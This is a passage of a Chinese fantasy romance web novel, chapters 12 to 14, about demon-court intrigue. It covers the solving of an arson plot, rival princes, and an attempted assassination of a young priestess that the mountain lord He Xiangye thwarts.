贺缃叶皱眉,也不知他如何知晓此事的,但自己行得正坐得端,她大方回应:“三殿下确实将涿光赠予我了,不过是作为修陵的报酬,毕竟我也同殿下提过此事,想为我姑媱山众妖谋个容身之所何错之有?”
语毕,她又加了一句:“殿下若不信,派人去涿光看看,我已将一批妖迁了过去。”
先前若是他应下此事,自己便也不会接受云青骊的赠予,眼下倒是好意思来质问了。若非有所了解,贺缃叶差点都以为这个人是在吃醋。
“山君是在怪本君未曾允诺?”
贺缃叶:……
“殿下多虑了,我并未作此想,只是想事情得到妥善解决。”
话不投机半句多,她已经不想再继续聊下去了,真不知道这人到底来找她做甚。
她朝晴山示意了下,晴山立刻进屋抱了个盒子出来。
“殿下正好在此,我也不必专程跑一趟,这是今年的郁金裙,药金已经付过。另外,殿下修陵有需要帮助之处尽可遣人来找我,我必全力相助。”
如此明显的逐客之意,云青冥自是明白。他脸色不虞,但又不好发作,只好甩着袖子离开了。
贺缃叶后半句自然只是客套话,如云青冥这般,绝不会拉下脸来求她相助,而且此刻他有气无处撒,也不会再来自找没趣。
其实她发现,云青冥对有利用价值之人还是颇多包容的,可一旦无用,便不好说了。
又想到方才他说的话,微微有些愣神。
昨日缟羽前来,并未告知妖王降罪一事,云青骊是怕连累她么?
虽然此事确实与自己无关,但他此举,总觉得,像是欠了他一般,也不知他伤势是否真的无碍。
*****
曜日殿中,妖后白浅云正坐在床边,端着碗亲自喂药。
“骊儿,莫怪母后多嘴,你父王本也未打算罚你,只待此事查明,你便可继续行修陵一事,可为何要惹怒你父王,替那姑媱山君受过?”
“此事本就与她无关,平白受罚岂非无妄之灾?”云青骊靠在床边喝了口药,脸色不佳。
“可再怎么说她也是一山之主,管辖不力倒也不算冤枉了她。”
“母后,卧龙峰修陵一事本就是儿臣在负责,出了事怪不得别人。”
白浅云轻叹一声:“你一贯心善。”
她了解这个儿子的性子,说话温温柔柔,却是个有主见的,便也不再谈论此事了。
云青骊喝完药,缟羽和渌波一起进了殿。
“见过王后。”两人行了礼。
白浅云见状,站起身来:“你多休息,明日母后再来看你。”
“好,母后慢走。”云青骊笑得乖巧。
白浅云一走,他立刻收起了笑容,看向两人:“审得如何了?”
昨日,两人将松石和工匠一同带回,云青骊便让他们将人锁进了地下暗牢之中。
缟羽回道:“回殿下,那工匠名唤赵林,不是咱们此次带上山的人。”
“是谁塞进来的?”
“据他交代,是田赤将他安插于此的,让他趁众人休息将松石放进木材堆中,然后悄悄下山,再多他说便不知了。”
“田赤乃王上心腹,难不成王上欲借此事对您出手?”渌波不解问道。
“若是父王所为,他没有必要给我时日去
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查明真相,又让太子暂代修陵,直接免了我的职,惩罚便是。”
云青骊虽然对妖王也无甚父子之情,但妖王对他的喜怒都形于色,没有必要弯弯绕绕对付他。
“难不成这田赤被人收买了?会是太子吗?”
“这就得亲口问问了。”云青骊盯着一旁的松石说。
“殿下的意思是让我们也将他抓来?可如今太子在姑媱山,若是让他知晓,怕又要到王上那里说您的不是了。”缟羽接道。
“让霜七去,做得隐蔽些。”
“是,殿下。”
霜七是青衣卫霜鸮部的首领,专司刑狱审讯查案一事。
“对了,明日你再上山一趟,看看还有没有其他线索。”
“殿下的意思是明日让属下去寻一趟山君?”缟羽突然来了一句。
云青骊咳了两声:“找不找她都行,随你。”
两人看他精神有些不济,便退了出去。
当夜,王宫围墙上闪过一道影子,身形鬼魅,腾挪跳跃,最后落在了曜日殿屋顶之上。
云青骊原本有些困意,堪堪躺下闭上眼睛,却在听到细碎石子落地的声音后骤然清醒了。
他猛地睁开眼,下床寻找声音的源头,却在几息后,借着月光看到了翻窗进来的贺缃叶。
“山君怎的来了?”他拉了拉中衣的衣襟,去架子上拿了件衣服披上。
黑暗中,贺缃叶站在窗边,眼神清亮,直言:“听说你是因我受的伤,我来瞧瞧。”
云青骊一时无话,走到了窗边与她并肩而立,月光洒在两人身上。
“山君不必内疚,此事与你无关。”
“此事的确与我无关,不过你是替我受过,算我欠你一个人情。”贺缃叶将自己新做的一瓶郁金裙抛给他,“新的。”
云青骊笑着接住:“多谢山君。”
贺缃叶又拿出一物:“你瞧瞧认不认识?”
“这……”云青骊看着她手心的物品,语气迟疑,“你怎会有此物?”
“我从田赤那里弄来的,看来你已经知道是谁了。”贺缃叶往他手里一塞。
“多谢山君,山君已不欠在下人情。”
贺缃叶看他一本正经的模样,忍不住笑了下:“走了,好好养伤。”
躺在床上,贺缃叶毫无睡意。
方才她给云青骊的是一块玉珏,其上雕着一朵栩栩如生的菡萏。
缟羽和渌波走后,她又盯了田赤一日,发现他鬼鬼祟祟的,于是便让晴山对他使了幻狐一族的妖术,从而拿到了这块玉珏。
此番也算是不欠云青骊什么了。
次日上午,有一队士兵上了山来,带走了田赤。
贺缃叶没去理会,只安心地在屋中制药。
“山君,看来三殿下已经将此事查明了。”月魄在院中翻晒完落日花,进屋说道。
“嗯。”贺缃叶手中不停忙碌着。
晴山将碾好的药粉倒进碗里,嘴上问着昨日那玉佩的事。
贺缃叶动作一顿,表情倒是没有变化:“他没告诉我那玉佩是谁的,我也没问,左右不是我认识的人,管那许多做什么,咱们做自己的事就好了。”
“是。”
沧浪居这边岁月静好,而妖都王宫却吵翻了天。
12. 第 12 章
大殿之上,群臣颔首,云青骊虽脸色略微苍白,但仍不卑不亢地立于殿前。
“老三,案子查清了?”王座上的云玄天不怒自威。
“启禀父王,起火因由乃有人故意在木材中放了松石助燃,这才引起了大火,儿臣已将纵火之人抓住。”
“何人所为?”
“一名工匠。经审讯,他交代此事乃田赤大人授意。”
“田赤?”云玄天目露精光,盯着云青骊,“他可是本王的人。”
“此事断不可能是父王所为,但就怕有人从中作梗,挑拨离间。”云青骊语气十分沉稳。
“田赤何在?”
“正在殿外。”
“让他进来。”
“是。”
田赤被押了进来,他立刻跪在地上,替自己辩解:“王上明鉴!是您亲自派臣去助三殿下修陵的,怎敢做此大逆不道之事,臣冤枉啊!”
人群中有人小声议论。
云玄天皱眉看向云青骊:“老三,可有凭证?”
“此乃工匠证词,他正候在殿外。”云青骊拿出一张纸递了上去。
云玄天快速阅完,将纸拍在桌上:“田赤!”
“王上,此乃污蔑啊!臣冤枉!臣冤枉……”
云玄天朝近侍使了个眼色。
“儿臣还有一物,是从田大人那里搜到的。”云青骊等田赤哭喊完,拿出了那块玉珏。
殿上有人面色突变。
“这不是老大的玉吗?此事与他何干?”云玄天沉声问道。
“父王,儿臣前段时日丢了块玉,竟不知为何会在三弟手中。”旁边一男子走上前解释,正是大王子云青莲。
“太子,你怎么看?”云玄天突然看向一直沉默不语的云青冥。
“回父王,既然玉是在田大人那里找到的,那便请他解释一下。”
众人的视线又落在了跪地的田赤身上。没一会儿,那内侍进了殿来,朝云玄天耳语几句。
“王上,臣从未见过这块玉,更不知三殿下是从何处寻来的,臣冤枉啊!”
“你冤枉?你不知玉的来处,那工匠的证词白纸黑字还能有假?!”云玄天满脸怒气地看着下首跪地之人,“来人,拖下去,打入九幽池!”
令他愤怒的不是此人撒谎,而是对他的背叛,他听着响彻大殿的嚎叫声,眼神扫过了自己的大儿子。
“滚回去思过,下次再将玉弄丢就别出来丢人现眼了。”
“谢父王,儿臣谨记。”云青莲上前接过了玉珏。
“老三你先养伤,待好了再继续修陵一事,所缺之物从宫中拿。至于太子,先回宫吧。”云玄天说完朝众人挥了挥手,“都散了。”
“(儿)臣告退。”
众人陆续走出大殿,三两在一起窃窃私语。
云青骊听在心中无甚波澜,好像已经习惯了。从幼时起,父王便不喜他,所以他也不奢求能得到什么公平的对待。
“殿下!”缟羽和渌波在不远处等候,见到他出来便上前扶住了他。
回曜日殿后,云青骊便躺着休息了,渌波守在殿外,还是忍不住替自家殿下鸣不平。
“证据确凿,王上却如此偏心,大王子连一根头发丝都没少,咱们殿下却平白无故受了这么重的伤!”
缟羽扯了他一下:“殿下休息,少说两句。”
最初殿下也会怀有期待,可渐渐地就无所谓了,许是因为自幼丧母,亦或是因王后家族式微,总之,王上的决定,殿下从来都是不冷不热的。
两人交谈之间,看到王后远远地走过来了。
“见过王后。”
“骊儿呢?”
“殿下正在休息。”
“一会儿醒了记得把药拿给他喝。”白浅云目光落在身后侍女手中的食盒上。
“是。”渌波上前接过盒子。
“本宫进去瞧瞧他。”
缟羽轻轻打开门,没想到云青骊听到响动睁开了眼睛。
“吵醒你了,骊儿。”白浅云柔声道。
云青骊坐了起来:“无妨,儿臣休息好了,母后不必忧心。”
“母后无用,帮不了你什么。”
“母后万不可如此说,自小便是您护着儿臣,待儿臣如亲生,已是尽心尽力了。”
白浅云叹了口气:“你父王实在是……”
“儿臣习惯了,有母后便好。”
“苦了你了。”白浅云将手轻轻地覆在云青骊手背上。
殿外两人听着里面的对话,总算有了些安慰,幸好还有王后陪着自家殿下。
“咱们给山君送个消息吧,殿下还得养一段时日。”
缟羽都不太敢信这话是从渌波嘴里说出来的,他压低了声音回道:“太子的人还在山上,让风隼去送。”
“行。”渌波往外走了。
风隼很快便将信送到了沧浪居。
晴山看着墙上的箭头,还以为有敌袭。她将信取下,呈给了贺缃叶。
贺缃叶扫了一眼信,没说话。
“山君,是谁的信啊?”月魄问。
贺缃叶把信递给两人看后,也是短暂的沉默。
晴山收起信,用内力震碎,说道:“看来三殿下不受宠的传闻是真的。”
“幸好太子殿下要走了,不过三殿下还需养多久啊?”比起太子,月魄还是觉得三殿下更好相处一些。
贺缃叶摇头:“不知。”
她想起什么,问道:“云青莲是何背景?”
“回山君,此人是姜妃之子,这姜妃也并不如何受宠,只是姜家富可敌国,故而妖王也对她礼让三分。”
“呵。”贺缃叶冷笑一声,“好个富可敌国。”
她想起来妖王还有个女儿,便一并问了。
“云青黛与这云青莲乃兄妹,地位不高,但妖王素来对他们睁一只眼闭一只眼,两人虽比不上太子,日子倒也不算难过。”
敢情就云青骊的日子最不好过,这妖王还真善制衡之术。
贺缃叶起身走到院中,看到云青冥的人在陆续撤走,她远远望了一眼,顿感无趣,便转头收拾起晾晒的花。
“山君,今日这些花便可以全部收完,咱们将所有郁金裙做完便可以歇息一阵了。”月魄见她脸色不太好,便捡了些开心的事说。
“嗯,结束后你们可以去城里逛逛。”
“谢山君。”晴山和月魄一起俯身行礼。
贺缃叶是在八日后见到的云青骊,彼时她刚从晚月坡上下来,在山道上看到了他。
他看起来清瘦了些,但精神好了许多,脸上仍然笑意清浅。
“殿下。”贺缃叶走近后行了礼,发现他身旁跟着一名女子,是动土仪式那日见过的少祭司,月鸣珂,只不过今日她未曾覆面。
“山君,许久不见。”云青骊笑着看她,又解释道,“地宫挖掘初见雏形,少祭司是相助绘制星图的。”
贺缃叶朝月鸣珂点点头,算是打过招呼了。
她回到沧浪居后,照常忙碌。
“
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山君,这郁金裙要送去给三殿下吗?”晴山端着盒子,一时拿不准自家山君的心思。
贺缃叶想到方才的情形,摇了摇头:“先放着吧。”
”是。”
没多久,月魄从外面采买回来,带回了一个消息。
“山君,奴婢方才下山,听说了件事。说是少祭司乃王后为其选定的三王子妃,也不知是真是假。”
贺缃叶一顿:“真假都与我无关。”不过,她想到那日云青冥的表现,倒觉得有些意思。
更有趣的是,没过两日,云青冥又上山了。
卧龙峰上,云青骊的屋子里,四个人两两对坐。
贺缃叶是过来送郁金裙的,原本想送完就走,没想到在门口遇到了云青冥。她坐在云青骊对面,感觉三人之间氛围很微妙。
“太子怎的来了?”云青骊率先问道。
“听说少祭司来绘星图,本君恰巧对观星一事颇为感兴趣,便来瞧瞧,学习一二。何况三王兄的伤刚痊愈,若是有需要,我也可相助一二。”
贺缃叶:……鬼话连篇。
云青骊:“那便有劳太子了。”
贺缃叶:竟然不拒绝?
戏看够了,她也不想再留,便提出了告辞,谁知云青骊跟了出来。
“山君,近日在下刚痊愈,不易奔波,可否在卧龙峰住下?”
“殿下请便。”她这山上头一回如此热闹,也不差这一点了。
“山君……”
贺缃叶闻言,转过头来:“殿下还有事?”
“少祭司是父王派来绘制星图的。”
“嗯?”她没问呐。
“不过她不属于哪方势力,山君可放心,上次之事不会再出现。”
“哦。”
“多谢山君送来的郁金裙。”
云青骊忽然抬头看着贺缃叶的脸,但贺缃叶脸色十分平静:“不必客气,本就是殿下应得的。”
“山君方才是去了晚月坡?”
贺缃叶:他今日怎么这么奇怪?
“是。”
“那棵古树我梦到过好多次。”
“殿下以前来过?”
云青骊摇头:“不曾。”
贺缃叶也不知道说什么了,她甚至有种此人在没话找话的感觉。
而屋中的氛围也有些尴尬。
“少祭司此番准备在山上待多久?”云青冥忍不住先开了口。
“回太子殿下,臣女待星图完成便回宫。”月鸣珂低眉敛目,语气带着疏离。
“正巧,本君在观星一途有些事需要少祭司解惑一二,还有上次被烧毁的木材,我一并带了来,父王也允准了我在此相助三王兄。”
“殿下有事吩咐臣女便是。”
“你可打算住在此处?”
月鸣珂点点头:“星图绘制过程繁琐,需要观星和作画,臣女已将工具悉数带来了,短期内不会回宫。”
“此处是三王兄的宿处,你与他住在一峰怕是不太好。”
“臣女与三殿下皆是为修陵而来,清者自清,太子殿下不必忧心。”
云青冥的手在袖中紧了紧,语气有些生硬:“那我也要住在这里。”
月鸣珂这才抬起头看了他一眼,随后又平静道:“殿下请便。”
“你……”云青冥深吸了一口气,忍了又忍,后拂袖而去。
贺缃叶正准备离开之时,看到云青冥黑着脸从屋中走出,悄悄勾了勾唇。
而后,她心情颇好地回了沧浪居。
13. 第 13 章
往后这山上,可是有好戏看了。
“山君,方才缟羽来问,可有多的住处,说是给少祭司还有太子殿下的。真是奇了怪了,怎的这些人全都要挤在一块,咱这山上如此地好?”月魄忍不住怀疑。
晴山笑她:“你就莫要操心了。”
“那让他们住哪儿啊?这太子殿下也是奇怪,先前也不见他这般积极,怎的少祭司一来,他像变了个人一样。”
“连你都看出来了,咱们山君会不知道?”
贺缃叶听着两个侍女的对话,思索了一下,问道:“缟羽可有说将他们安排在何处?”
“说是离三殿下远一些。”
“那就将少祭司安排在地势较高之处,便于她观星,至于太子殿下,他不用我安排。”
“是,奴婢这便去准备。”晴山和月魄退下了。
不知为何,贺缃叶总感觉,这一次,云青骊好像对修陵一事没那么认真了,倒是云青冥,看着像是铁了心要留下来帮忙。
接下来的三日,她没去管卧龙峰上的事,只一心在屋中研究如何重新培育落日花,日子过得倒还算平静。
可云青冥一连几日未曾回宫,宫中有人颇有微词。
承露殿中。
“姑母……表哥几日都不曾回宫看您了,您也不想他吗?”面容娇俏的蓝衣少女轻扯着身旁着华冠丽服的美妇人衣袖。
那美妇人正是宠冠妖王后宫的楚妃楚栾华,也是云青冥的母妃。
“我看,是蓝儿你想他了吧?”
“姑母!”蓝衣少女楚霁蓝脸色绯红,羞得低下了头。
“好了,姑母说笑呢。”楚妃脸色变得有些淡,“不过,冥儿确实有些胡闹了。”
“表哥分明就是为了那个月鸣珂!先前也没见他揽下这差事,何况他和三殿下向来不对付,此番竟愿意屈尊去帮他修那个破陵!”
“蓝儿慎言!”楚妃语气重了些,将身边之人全部遣出殿外了。
楚霁蓝被吼得有些懵,眼眶也红红的。
楚妃握住她的手,轻声安慰:“蓝儿,姑母知你是在气头上,但有些话说出口就会招来祸事。修陵一事是王上的决定,往后断不可再如此说。”
“蓝儿记住了。”楚霁蓝的声音带着哭腔。
楚妃替她擦了擦脸,随后又说道:“你是姑母看着长大的,姑母心中的太子妃只你一人。眼下白浅云相中了月鸣珂作三皇子妃,正好断了你表哥的念头,这对你来说是好事。”
“可表哥……”
“那月鸣珂不过就是少时送了他一副星图作生辰礼,你表哥觉得新奇而已,不是什么大事。”楚妃不以为然,复又补了一句,“若是你不放心,便去看看他,顺便替姑母送封信给他。”
“好!多谢姑母!蓝儿去准备了。”楚霁蓝一溜烟跑了出去。
一黑衣女子走了进来,此人乃楚妃心腹苍艾,修为高深,亦是一名乐师。
“你跟蓝儿一起去,保护好她。”
“是,夫人。”
“若是冥儿执迷不悟,你便想法子杀了月鸣珂。”
“是。”
“听闻老三替那姑媱山山君受了罚,你去探探,看他们之间有无勾结。”
“是。”
楚霁蓝带着一车货物和大队人马去了姑媱山。
山上天气渐冷,贺缃叶变得不怎么爱出门。她站在人群靠后的位置,看那阵仗,还以为是妖族公主出行,却没想到来的竟是大将军楚延维之女,云青冥的表妹。
这下是真热闹了。
月魄在后面八卦:“山君,据说这位楚小姐的心上人正是太子殿下。”
贺缃叶:可真是乱成了一锅粥。
“表哥!”楚霁蓝跳下兽车,满脸期待地看着云青冥。
“你怎么来了?”
“表哥这话说的,你都几日未曾回宫了,姑母念着你,让我来瞧瞧你也不行啊?”
云青冥脸色稍霁:“我很好,你瞧过便回去吧,我还有正事要忙。”
“表哥!”楚霁蓝一脸不乐意,“我坐了好久的车才来,你怎么忍心将我赶回去?再说这一车货物是姑母让我带来的,她担心天冷了你照顾不好自己。”
“我忙起来顾不上你,此处不是你游玩的地方。”
“你不必管我,我会照顾好自己的,也能帮你的忙!”她瞟了一眼最左边的月鸣珂,“再说了,又不是只有我一个女子,我不走!”
拉扯半晌,楚霁蓝还是留下来了。
贺缃叶不经意朝前看了一眼,发现她身边的黑衣女子有些奇怪。
天气不算那么冷,那人却裹得十分厚实,像是十分畏寒,但看起来又不似体虚之人,倒是内力颇深的样子。
看来这一趟,还真是别有用心。
楚霁蓝自觉搬去了云青冥隔壁房间,而云青冥则在月鸣珂隔壁院子。
所幸卧龙峰离得够远,这些糟心事暂时也影响不到贺缃叶。
一日,她正给种子浇水,忽听有人敲门,打开一看是云青骊。
“殿下此时不忙吗?”
“有太子照看,暂时不忙。”
“殿下找我何事?”贺缃叶站在门口没动,眼下许多人在山上,落人口舌不好。
“是关于你在丹穴山遇到的那个男人。”
“进来吧。”她转身往里走。
晴山给两人倒了茶,便带上门出去了。
“殿下现在可以说了。”
“丹穴山是山君机缘巧合发现的,那人应是一早便跟随于你,才有了可乘之机。”
“但是以我的修为,不可能发现不了有人一路跟踪我。”贺缃叶疑惑不解,何况那人的修为不如她。
“对,可若是他用了法器便不一定了。”
“什么意思?”贺缃叶有些紧张了。
“据我所知,有一种名唤潜隐纱的高阶法器,能将妖族气息完美隐藏,就算是高阶大妖也无法察觉,此物唯一的缺点便是产出极少,价格极高。”
贺缃叶的脑中突然冒出来一个人。
“你说的是……云青莲?”
“山君聪慧。”云青骊夸完接着说,“他修习的正是高阶火系术法,而且你去丹穴山那几日,他正巧闭关了,后面还受了点伤。”
“我打的。”贺缃叶理直气壮。
云青骊失笑。
“但他应该不知道那个人是我吧?”
“应是不知。”他点点头,“不过他的目标是我,只是恰好牵连了你。”
“所以他回去后才会心生报复,买通田赤,栽赃于你。”贺缃叶皱眉,“如此说来我倒也不算冤枉。”
“若是他知道是你打了他,往后怕是也会报复于你。”
“我又不怕他
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,是他自己技不如人。”贺缃叶最讨厌那种耍阴招之人。
“明枪易躲暗箭难防,还是小心些为好。”
“嗯。”她喝了口茶,随口一说,“殿下身边可真是群狼环伺,危机四伏啊。”
“给山君添麻烦了。”云青骊语气真诚。
贺缃叶看他一脸正经的模样,觉得有些好笑:“我说笑的。若没有殿下,我也无法成功加固封印,殿下不必介怀。”
说完,她又想到那日的黑衣女子。
“殿下,跟随楚小姐上山的那黑衣女子你可认得?”
“黑衣女子?”云青骊回想了一下,反应过来,“那是王后身边的乐师苍艾。”
“乐师?她看起来有些畏寒。”
“许是跟她修习的功法有关。”
贺缃叶总觉得那个女人透着古怪,或许是她想多了?
云青骊走后,她有一搭没一搭地咬着落日果,一连吃了好几个。
“山君,方才奴婢在外面遇到了少祭司,她说作画用的桑皮纸恰好用完了,准备回去拿一些。”晴山进来禀告。
“桑皮纸?你问问她要不要,咱们这里还有一些,给她送去。若是不够,晚月坡上有许多上好的桑树,割下来稍微晒晒便可以直接用,她也可以自己去割。”
“是,山君。”晴山取了桑皮纸又出去了。
没过多久,她就回来了。
“山君,奴婢将纸送给了少祭司,也告诉她可以自行去晚月坡采,她说多谢您,又接着返回卧龙峰了。”
贺缃叶点头,又问:“云青冥没跟着她?”
“不曾跟着,不过奴婢回来的时候远远瞧见太子殿下从卧龙峰上下来了。”
“他们还真是有意思。”
*****
山道之上,月鸣珂抱着盒子正往上走,却看到了从山上下来的云青冥。
她微微弯腰行礼:臣女见过太子殿下。”
“你这是下山去了?”
“臣女的桑皮纸用完了,本意是想下山一趟,不过方才遇到了山君的侍女,送了些给臣女。”
“本君叫人送些上来,往后你缺什么跟我说。”云青冥说着向着身后的侍卫扶光示意。
“不必劳烦殿下。”月鸣珂出声阻止,“晚月坡上有桑树,若有缺少,臣女自行去采,殿下忙于修陵,不用顾及臣女。”
“你……”云青冥刚开口,话就被截断了。
“表哥!”
是楚霁蓝走了过来。
“何事?”
“这是姑母让我交给你的家书。”她从袖中拿了一个信封出来。
“好,我知晓了。”云青冥将信塞进袖中,又说,“还有其他事吗?”
楚霁蓝展颜一笑:“表哥这段时日修陵辛苦了,蓝儿做了紫金汤,特来送给表哥。”
月鸣珂见状,立即出言:“臣女还有事在身,先告辞了。”
“月……”云青冥欲喊住她,可楚霁蓝却不乐意了。
“表哥,蓝儿在同你说话呢!你倒好,理外人都不理我!”
云青冥抿了抿唇,语气有些敷衍:“蓝儿好意,表哥心领了,只是我还有事。”说完拔腿就走。
“表哥!”楚霁蓝在身后大喊,气得将袖子拧成了麻花。
一旁的苍艾,眼神微闪,想到了楚妃的吩咐,随即下定了决心。
14. 第 14 章
是夜,卧龙峰观星台上,月鸣珂正在专心观星制图。
有人影悄悄靠近,静待时机。
就在此人准备出手之时,台下又走上来一人,正是云青冥。
埋伏之人悄然退去。
月鸣珂未曾发现身后有人,待到观察记录完才惊觉,立即放下手中纸笔行礼:“见过太子殿下。”
“少祭司在做什么?”
“回殿下,臣女在观星。”
“少祭司可愿同我说说这星图如何绘制?”云青冥指着一旁桌上摊开的桑皮纸问。
月鸣珂微愣,她以为他只是说说而已,没想到竟真的来向她求教。
“殿下请坐。”她也顺势坐了下来,“星图绘制复杂,臣女尽量讲得简单些。”
“好。”
月鸣珂娓娓道来,声音温婉动听,如同涓涓细流。
“此星图分云气占卜图、电神图以及星官与星宿。将星空分成十二段横图,每段对应一个月份,横图下标注金乌在二十八宿的宿次位置,并说明黄昏时正南方可见的星宿。圆圈代表石申星官,黑点代表甘德星官,圆圈涂黄代表巫咸星官,以此区分三星官体系,共绘制约一千四百颗星官。”
“少祭司真乃才女,本君佩服。”
云青冥看着夜空之下,她被火光映衬的脸,眼神都柔软了许多。
“殿下谬赞,此乃臣女分内之事。今日时候不早了,殿下早日回去歇息吧。”月鸣珂开始收拾自己的东西。
“我同你一起回去。”云青冥站了起来。
“殿下。”月鸣珂头一次认真看着他,“殿下此举,不妥。”
“有何不妥?”
“殿下不会不知,王后有意撮合我与三殿下,而楚妃则希望您和楚小姐亲上加亲,殿下如此行事,实是失当。”
“你心悦老三?”云青冥紧紧盯着她的眼睛。
“殿下,这与我是否对三殿下有情并无关系。”
“那你是因为蓝儿?我对她只有兄妹之情。”
月鸣珂有些无奈,但声音仍是柔和:“殿下,臣女身份低微,配不上太子妃之位。”
此等变相地拒绝,云青冥听在耳中有些许失落,但没有表现出来。
“你配得上。”他说完这句话,转头就走。
月鸣珂在他身后轻叹了口气,随后也回了住处。
一连三日,云青冥都没来找过她。
许是先前此人老是围在身旁,眼下清净许多倒还有些不习惯。
但心中异样只划过一瞬,此事就被她抛在脑后了。
正巧这一日,桑皮纸用完,她便背着竹篓去了晚月坡。
果不其然,坡下有一大片桑树林,且品相极佳,她眼神发亮,拿出匕首割了起来,想着晚些时候去拜访一下贺缃叶。
约莫割了十几张,身后突然传来衣角摩擦的声音。
猛地回头,发现一黑衣蒙面女子朝她袭来。
情急之下,她抬起匕首格挡,被掌风击得后退数步,看来她并非此人对手。
“你是谁?”周围空无一人,她在脑中翻来覆去地回想,自己并未得罪过任何人。
但那女子并不应答,只一个劲想要她的命。
就在那时,她看到了女子身后黑布露出的一角,竟然是琴。
楚霁蓝。
可她怕是不会有如此大的胆子。
桑树被击得树叶翻飞,月鸣珂也被逼得快没有退路,她只能尽力往回跑,但还是被追上了。
掌风袭来的那一瞬间,她忍不住闭上了眼睛,然而并未感受到疼。
下一瞬,她睁开眼睛看到了贺缃叶。
贺缃叶几招将人打退,眼见着不敌,那女子顷刻之间便逃走了。
“你怎么样?可有受伤?”贺缃叶将她从地上扶了起来。
月鸣珂捡起竹篓和散落的桑树皮,答道:“并无大碍,多谢山君相救。山君怎会在此?”
贺缃叶看了一眼不远处的桑树林:“我来弄些桑皮纸。”其实是来看师父的。
她不愿多说,立即转移话题:“可知此人是谁?”
“那人身后背着一把琴。”
贺缃叶心中了然,是楚妃,她怕月鸣珂拐走他儿子,坏了她的事,这才痛下杀手。
“此事可要告诉太子或者三殿下?”
月鸣珂摇头:“此人一击不中,应是不会再来了。”
“你……”贺缃叶有些犹豫,不知该不该问。
“山君是想问,我到底心悦谁,对吗?”
月鸣珂问完,自嘲地笑了笑:“若我说谁都不喜,山君可信?”
贺缃叶没想到她会说出这个答案,一时不知怎么接。
“山君先前帮了我,如今又救了我,便是我的朋友。我倒是听说三殿下对你有些不一样。”
虽然月鸣珂这话并没有其他意思,但贺缃叶还是解释了下:“我与他只是合作关系。”
“我与三殿下虽相识得早,但交集不算很多。此番是王后有意,其实我们都对彼此没有过多想法。太子殿下也是,我不太清楚他为何突然对我殷勤了起来,但这不是好事。楚妃有意将楚小姐许给太子殿下,我的出现成为了变数,所以她想将我除去。”
“可要我帮你?”贺缃叶眉心微动。
月鸣珂背着竹篓与贺缃叶并肩前行。
“山君想如何帮我?”
“搬来我沧浪居,他们便不敢动你。”
月鸣珂脚步微顿,有些惊诧:“这会不会太麻烦你了?”
“不会,沧浪居平日只有我和两个侍女,多个人也热闹些。”
“那我今晚过去。”月鸣珂眼角带笑,“谢谢你,缃叶。”
贺缃叶听到这个称呼,下颌线条微微绷紧,眼神有一瞬间失焦。
“我能这样叫你么?”月鸣珂看她脸色有些细微的变化,又试着问了一句。
“可以。”她只是好久没有听过这个称呼了,忽然想起了师父以前总是这样唤她。
“那你叫我鸣珂吧。”
“鸣珂。”
这好像是这么多年来,贺缃叶第一次感受如此奇特。
月鸣珂搬到沧浪居的当晚,立刻有人闻讯而来。
云青冥身旁跟着楚霁蓝,后面是乌泱泱的侍女侍卫。
贺缃叶将人都堵在门口,丝毫不让。
“少祭司为何搬到此处了?她人呢?”
她掀掀眼皮,瞧了一眼,只觉好笑。
“殿下是怕我对少祭司做出什么不好的事?”不等云青冥回答,她又说,“殿下不妨日后再亲口问问她。”
“她与你不熟,为何会搬来与你同住?本君要见她。”
“殿下与她很熟?”贺缃叶反问。
云青冥一噎,冷脸道:“自是比你熟些。”
“哦~”贺缃叶拉长语调,“我们一见如故,相谈甚欢,何况我沧浪居后有一处巨大的观星台,她住我这里,殿下有异议吗?”
“你!”
看他吃瘪,贺缃叶心中总算出了一口恶气。
“表哥,既然山君如此说,少祭司肯定是自愿来的,你就莫要担心了。”楚霁蓝从旁劝说。
贺缃叶虽不喜此女,但眼下倒觉得她所说颇为顺耳。
然而,云青冥扫了一眼,她便不敢再言语。
“本君要见她。”
“殿下没有正事要忙吗?少祭司这会儿正在观星制图,没空过来。”
“贺、缃、叶,本君
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的忍耐是有限度的。”
贺缃叶将沧雪枪往地上一立:“殿下难不成要强闯我沧浪居?”
剑拔弩张之际,身后传来一道带着凉意的声音。
“殿下请回,臣女是自愿来的。”
云青冥看到自里面走出来的女子,脸上有些挂不住:“你为何要来此?”
“殿下不妨问问您的母妃。”月鸣珂不欲多说,下了逐客令,“往后臣女便住在沧浪居,待星图绘制完成自会交给殿下过目。”
“此事同我母妃有何关系?”云青冥满脸疑惑。
但月鸣珂只回了一句:“臣女告退。”说完转身就走。
云青冥欲追上去,被拦下了。
贺缃叶长枪横立,声音渐冷:“殿下留步。”
像是想到了什么,云青冥没再上前,只远远地看着月鸣珂离去的背影,后拂袖而去了。
贺缃叶“砰”地一声关上门,心情极好。
“表哥,你等等我。”楚霁蓝亦步亦趋地跟在云青冥身后。
他倏然停下脚步回过头,盯着楚霁蓝:“你是不是知道些什么?”母妃给他的信中并无异样。
“表哥你在说什么?此行是姑母让蓝儿来的,就只是给表哥送了些日常需用之物,哪有什么内情啊?说不定是那女人为了摆脱你乱说的。”楚霁蓝一脸委屈地替自己申诉。
云青冥抬起头看了一眼周围,忽然问道:“送你来的那名护卫呢?”
“你说苍艾啊,她说姑母有事急召她,就先回去了。”
闻言,云青冥脸色一变。他立刻吩咐扶光:“去查。”
“是,殿下。”
“表哥,难不成你真的相信月鸣珂那个女人,怀疑姑母?”楚霁蓝一脸无法置信的模样。
“我只相信真相。”云青冥说完大步走了。
楚霁蓝抠着手心,脸上全是不甘。
*****
沧浪居后山。
“缃叶,我方才是不是不该说出楚妃的?”
“事实而已,有什么不能说的?”贺缃叶咬着果子,翘着脚和月鸣珂坐在石头上。
月鸣珂轻叹一声:“未曾想,楚妃竟如此容不下我。”
“这又不是你的错。”贺缃叶将果子咬得咔嚓响,“她有本事就管住自己的儿子,朝你撒气做甚?可笑。”
“其实,我同他少时关系尚可,可楚妃一直看不上我,我们便渐渐疏远了。”
“那也不是你的问题,别想那么多,安心住下便是。”
“那他会不会因为此事而针对于你啊?”
贺缃叶将吃完的果核扔出去老远:“他又不是第一天针对我,就他整天那副别人欠他一万颗灵石的模样,谁会愿意跟他当朋友?”
“噗。”月鸣珂忍不住笑出声,“缃叶你说话真有趣,原先我还觉得你怪吓人的。”
贺缃叶偏过头笑着看过去:“我瞧着很可怕?”
“没有,只是第一次见你时,觉得你看起来不太好相处。”
“那我现在不可怕了?”
月鸣珂摇头:“还怪可爱的。”
闻言,贺缃叶又掏出一颗果子,顺手扔给她一颗:“还从未有人这般形容过我。”
“他们或许不怎么了解你。”月鸣珂拿着果子小口小口地咬着。
